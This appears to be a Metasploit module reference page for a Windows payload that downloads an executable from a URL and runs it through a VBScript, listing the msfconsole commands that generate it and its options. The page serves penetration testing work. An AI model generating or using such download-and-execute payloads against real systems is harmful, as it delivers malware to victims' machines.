Browse Exploit & Auxiliary Modules

The Metasploit Project hosts the world's largest database of quality assured exploits, including hundreds of remote exploits, auxiliary modules, and payloads. You can even review the Metasploit Framework source code of any module - or write your own.

Search for modules

Windows Executable Download and Execute (via .vbs)

Download an EXE from an HTTP(S) URL and execute it


Rank

  • Normal

Authors

  • scriptjunkie < >

Similar Modules


Usage Information

$ msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use payload/cmd/windows/download_exec_vbs
msf payload(download_exec_vbs) > set URL [STRING]
msf payload(download_exec_vbs) > generate


Module Options

DELETE Delete created .vbs after download (default: true)
EXT The extension to give the saved file (default: exe)
INCLUDECMD Include the cmd /q /c
URL The pre-encoded URL to the executable
AutoRunScript A script to run automatically on session creation.
InitialAutoRunScript An initial script to run on session creation (before AutoRunScript)
VERBOSE Enable detailed status messages
WORKSPACE Specify the workspace for this module